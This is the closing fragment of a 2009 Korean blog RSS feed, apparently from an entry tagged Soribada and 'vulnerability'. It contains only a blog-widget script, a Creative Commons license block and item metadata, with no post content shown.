&lt;br /&gt;&lt;/P&gt;&lt;div style=&quot;margin: 10px 0; padding: 0&quot;&gt;&lt;table style=&quot;margin:auto; padding:0; border: none&quot;&gt;&lt;tr&gt;&lt;td align=&quot;center&quot;&gt;&lt;script type=&quot;text/javascript&quot;&gt;
//&lt;![CDATA[
var allbletID=&#039;44596&#039;;
var allbletLink=&#039;http://gleam.pe.kr/496&#039;;
var allbletTags=&#039;&#039;;
//]]&gt;
&lt;/script&gt;
&lt;script type=&quot;text/javascript&quot; src=&quot;http://allblet2.allblog.net/allblet2.js&quot;&gt;&lt;/script&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;&lt;fieldset style=&quot;margin:20px 0px 20px 0px;padding:5px;&quot;&gt;&lt;legend&gt;&lt;span&gt;&lt;strong&gt;Creative Commons License&lt;/strong&gt;&lt;/span&gt;&lt;/legend&gt;&lt;!--Creative Commons License--&gt;&lt;div style=&quot;float: left; width: 88px; margin-top: 3px;&quot;&gt;&lt;a rel=&quot;license&quot; href=&quot;http://creativecommons.org/licenses/by-nc-nd/2.0/kr/&quot; target=_blank&gt;&lt;img alt=&quot;Creative Commons License&quot; style=&quot;border-width: 0&quot; src=&quot;http://i.creativecommons.org/l/by-nc-nd/2.0/kr/88x31.png&quot;/&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;margin-left: 92px; margin-top: 3px; text-align: justify;&quot;&gt;이 저작물은 &lt;a rel=&quot;license&quot; href=&quot;http://creativecommons.org/licenses/by-nc-nd/2.0/kr/&quot; target=_blank&gt;크리에이티브 커먼즈 코리아 저작자표시-비영리-변경금지 2.0 대한민국 라이선스&lt;/a&gt;에 따라 이용하실 수 있습니다.
			&lt;!-- Creative Commons License--&gt;
			&lt;!-- &lt;rdf:RDF xmlns=&quot;http://web.resource.org/cc/&quot; xmlns:dc=&quot;http://purl.org/dc/elements/1.1/&quot; xmlns:rdf=&quot;http://www.w3.org/1999/02/22-rdf-syntax-ns#&quot;&gt;
			&lt;Work rdf:about=&quot;&quot;&gt;
			&lt;license rdf:resource=&quot;http://creativecommons.org/licenses/by-nc-nd/2.0/kr/&quot; /&gt;
			&lt;/Work&gt;
			&lt;License rdf:about=&quot;http://creativecommons.org/licenses/by-nc-nd/&quot;&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Reproduction&quot;/&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Distribution&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Notice&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Attribution&quot;/&gt;&lt;prohibits rdf:resource=&quot;http://web.resource.org/cc/CommercialUse&quot;/&gt;&lt;/License&gt;&lt;/rdf:RDF&gt; --&gt;&lt;/div&gt;&lt;/fieldset&gt;</description>
			<category>ETC.</category>
			<category>소리바다</category>
			<category>취약점</category>
			<author>Gleam™</author>
			<guid>http://gleam.pe.kr/487</guid>
			<comments>http://gleam.pe.kr/487#entry487comment</comments>
			<pubDate>Sun, 15 Feb 2009 21:48:00 +0900</pubDate>
		</item>
	</channel>
</rss>
